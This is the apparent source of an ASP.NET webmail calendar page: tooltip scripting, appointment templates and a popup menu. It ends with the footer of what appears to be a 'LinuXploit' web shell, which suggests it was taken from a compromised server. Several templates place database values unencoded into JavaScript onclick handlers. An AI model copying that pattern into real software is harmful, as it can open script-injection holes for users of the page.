        function BindAppointmentTip(TargetItem, Event)
        {
            // TargetItem is the jquery object that we want to associate the tip window with
            // note: see tooltip.min.js for options (eg: if we want to change behaviour for tablets)
            var tooltipSettings = {
                tip: '#AppointmentToolTip',
                position: 'bottom center',
                predelay: 500,
                delay: 200,
                onBeforeShow: function () {
                    //this happens when we hover over the item
                    var details = this.getTrigger().data('details');
                    if ($('#AppointmentToolTip').children().length == 0) {
                        //if there are no children fetch the template and populate/apply language
                        $('#AppointmentToolTip').load('../../dialogs/AppointmentToolTip.htm?v=' + GetScriptVersion(), null, function () {
                            AppointmentToolTip.Localize();
                            AppointmentToolTip.SetDetails($('#AppointmentToolTip'), details);
                        });
                    } else {
                        AppointmentToolTip.SetDetails($('#AppointmentToolTip'), details);
                    }
                },
                onHide: function () {
                    AppointmentToolTip.ClearDetails($('#AppointmentToolTip'));
                }
            }
            if (gBrowserType != BROWSER_TYPE_IE)
            {
                // fade effect does not work properly in IE
                tooltipSettings.effect = 'fade';
            }
            try {
                TargetItem.data('details', Event).tooltip(tooltipSettings).dynamic();
            } catch (err) {
                alert('ToolTip Error:' + err.message);
            }
        }



    function doEdit(EditURL)
    {
        if (getTopAppWindow().GetOption('WebMail-AllowNewWindows'))
		{
		    OpenNewWindow(EditURL, 660, 590);           
		}
		else
		{
		    window.location.href = EditURL;
		}
    }   
	// -->
	</script>
	<body onload="PageLoad();" style="margin:0;padding:0;border:0;width:100%;height:100%;-ms-scroll-chaining:none;">
		<form id="FrmAppointments" runat="server"><%WriteFormValidationField()%>
			<table class="calApp_shell_table">
				<tr>
					<td valign="top">
						<table class="calApp_shell_table_inner">
							<tr>
								<td valign="top">

<%If UseQWSCalendar() Then%>
							        <qwsec:bob id="Bob" runat="server"></qwsec:bob>
									<qwsec:eventcalendar id="EventCalendar" class="EventCalendar" runat="server" Font-Size="8pt"
									    AutoSpan="true" Width="100%" Height="100%" OnNeedRebind="RebindData" 
									    OnHourClicked="HourClicked" OnNewLinkClicked="NewLink_Click" OnDayClicked="DayClicked" OnPrevNextClicked="PrevNextClicked" OnMonthClicked="MonthClicked"
									    ShowNewLink="false" EnableCallback="True" EnableDragDrop="True" EnableDataViewState="True">
							            <DefaultItemBobTemplate>
								            <table style="font-size: 9pt; width: 230px;">
									            <tr>
										            <td>
											            <asp:Label id="Label1" style="FONT-WEIGHT: bold;color:#333;text-align:left" runat="Server" Text='<%#Container.Title%>'>
											            </asp:Label></td>
									            </tr>
									            <tr>
										            <td colspan="1">
											            <asp:Label id="Label2" runat="server" style="color:#2965BB;" Text='<%#Container.StartDate.ToString("MMM d, HH:mm") + " - " + Container.EndDate.ToString("MMM d, HH:mm")%>'>
											            </asp:Label>
										            </td>
									            </tr>
									            <tr>
										            <td colspan="1">
											            <asp:Label id="Label3" runat="server" Font-Italic="true" Text='<%#DataBinder.Eval(Container.DataItem, "Location")%>'></asp:Label></td>
									            </tr>
									            <tr>
										            <td align="right" colspan="1">
											            <% If Not IsTouchClient() Then%>
											            <a href="#" id="lnkExport" onclick="onExport('<%#DataBinder.Eval(Container.DataItem, "AppointmentID")%>', '<%#DataBinder.Eval(Container.DataItem, "ResourceID")%>'); return false;" title="<%#uscToken.GetText("[ME_TXT-ExportAsOutlookICSFile]")%>"><img id="imgExport" name="imgExport" border="0" hspace="2" align="middle" src="../../../../skins/Mondo/appt_ics.gif" /></a>
											            <% End If%>
											            <a href="#" id="lnkEdit" onclick="onEditRecurring('<%#DataBinder.Eval(Container.DataItem, "Link")%>', '<%#DataBinder.Eval(Container.DataItem, "Scope")%>', '<%#IIf(DataBinder.Eval(Container.DataItem, "Scope") = "master", Container.StartDate.ToString("yyyy-MM-dd-HH-mm"), DataBinder.Eval(Container.DataItem, "InstanceDate"))%>');return false;" title="<%=uscToken.GetText("[ME_TXT-Edit]")%>"><img id="imgEdit" name="imgEdit" border="0" hspace="2" align="middle" src="../../../../skins/Mondo/appt_edit.gif" /></a>
											            <a href="#" id="lnkDelete" onclick="onDeleteInstance('<%#DataBinder.Eval(Container.DataItem, "AppointmentID")%>', '<%#DataBinder.Eval(Container.DataItem, "ResourceID")%>', '<%#DataBinder.Eval(Container.DataItem, "Scope")%>', '<%#IIf(DataBinder.Eval(Container.DataItem, "Scope") = "master", Container.StartDate.ToString("yyyy-MM-dd-HH-mm"), DataBinder.Eval(Container.DataItem, "InstanceDate"))%>');return false;" title="<%=uscToken.GetText("[ME_TXT-Delete]")%>"><img id="imgDelete" name="imgDelete" border="0" hspace="2" align="middle" src="../../../../skins/Mondo/appt_delete.gif" /></a>
											        </td>
									            </tr>
								            </TABLE>
							            </DefaultItemBobTemplate>
							            <DefaultCellBobTemplate>
								            <asp:Panel id="Panel1" Runat="server">
									            <table style="font-size: 9pt; width: 260px">
										            <tr>
											            <td style="padding-bottom:10px;"><font color="#2965BB">[DateScope]</font></td>
										            </tr>
										            <tr>
											            <td><font color="#333"><%=uscToken.GetText("[ME_TXT-Description]")%>: </font></td>
										            </tr>
										            <tr>
										                <td><asp:TextBox class="textfield" id="txtBobDescription" runat="server" Text="" width="200"></asp:TextBox></td>
										            </tr>
										            <tr>
											            <td><font color="#333"><%=uscToken.GetText("[ME_TXT-Location]")%>: </font></td>
										            </tr>
										            <tr>
										                <td><asp:TextBox class="textfield" id="txtBobLocation" runat="server" Text="" width="200"></asp:TextBox></td>
										            </tr>
										            <tr>
											            <td colspan="2">
                                                        <table  class="options_form_table_fixed" style="padding: 3px 0px;" border="0" cellspacing="0" cellpadding="0">
                                                        <tr><td class="calendar_shared_table_checkbox">
                                                        <asp:CheckBox id="chkBobAllDayEvent" name="chkBobAllDayEvent" runat="server" class="checkbox"></asp:CheckBox>
                                                        </td>
                                                        <td><label for="chkBobAllDayEvent" class="note"><%=uscToken.GetText("[ME_TXT-AllDayEvent]")%> </label></td></tr></table>
                                                        </td>
										            </tr>
										            <tr>
											            <td align="right"><asp:LinkButton id="lnkCreate" runat="server" Text="<%# Container.AddAppointmentText %>" style="font-weight:bold;color:#2965BB;"></asp:LinkButton></td>
										            </tr>
									            </table>
								            </asp:Panel>
							            </DefaultCellBobTemplate>							            
							            <DefaultItemTemplate>
											<asp:HyperLink ID="lnkOpenAppointment" Text='<%#DataBinder.Eval(Container, "Title")%>' NavigateUrl='<%#String.Format("javascript:onEditRecurring(""{0}"",""{1}"",""{2}"")", DataBinder.Eval(Container.DataItem, "Link"), DataBinder.Eval(Container.DataItem, "Scope"), Container.StartDate.ToString("yyyy-MM-dd-hh-mm"))%>' runat="Server" CssClass="ME_CalendarItem"/>
										</DefaultItemTemplate>							            
							            <CalendarHeaderStyle BackColor="#C3D4E0" Font-Size="10"/>
							            <Day NextNDays="1" DefaultDayMode="Day"></Day>							            
							            <Week DisplayWeeks="1"></Week>							            
							            <MonthWeek>
                                            <OtherMonthDayStyle BackColor="#FAFAFA" />
								            <NonspanItemTemplate>
								                <a href="#"><font color="#2965BB"><%#Container.StartDate.ToShortTimeString()%> - <%#DataBinder.Eval(Container, "Title")%></font></a>
								            </NonspanItemTemplate>
							            </MonthWeek>							            
							            <Year>		  									
										</Year>
						            </qwsec:eventcalendar>
<%Else%>
                                    <div id="AppointmentToolTip" class="tooltip"></div>
                                    <div id='script-warning'><code>request.aspx</code> must be running.</div>
                                    <div id='loading'>loading...</div>
                                    <div id='calendar'></div>
                                    <div id="divNewAppt" class="popupWin_tabbedPanel_background" style="display:none"></div>
			                        <!-- Message List - PopUp List Control -->
                                    <div id="menudiv" style="display:none;" class="me-popup" onmouseover="PopUp_MenuSetState(2);" onmouseout="PopUp_MenuOutOfScope(event, 'menudiv');">
                                        <table>
                                        <tr>
                                            <td>
	                                            <table id="menuItemsdiv" class="rightClickMenu_shell" border="0" cellpadding="0" cellspacing="0" onmouseover="PopUp_MenuSetState(1);">
                                                <tbody>
                                                    <tr>
                                                        <td class="rightClickMenu_shell_topleft"><div class="rightClickMenu_shell_topleft_div"></div></td>
                                                        <td class="rightClickMenu_shell_top"></td>
                                                        <td class="rightClickMenu_shell_topRight"></td>
                                                    </tr>
                                                    <tr>
                                                        <td class="rightClickMenu_shell_left"></td>
                                                        <td class="rightClickMenu_shell_mid">
                                                            <div class="rightClickMenu_body_shell">
                                                                <ul>
                                                                    <!-- Popup row items get added here -->
                                                                </ul>
                                                           </div>
                                                        </td>
                                                        <td class="rightClickMenu_shell_right"></td>
                                                    </tr>
                                                    <tr>
                                                        <td class="rightClickMenu_shell_botLeft"><div class="rightClickMenu_shell_botLeft_div"></div></td>
                                                        <td class="rightClickMenu_shell_bot"></td>
                                                        <td class="rightClickMenu_shell_botRight"></td>
                                                    </tr>
                                                </tbody>
	                                            </table>
                                            </td>
                                        </tr>
                                        </table>
                                    </div>


<%End If %>

								</td>
							</tr>
						</table>
					</td>
				</tr>
			</table>
		</form>
	</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit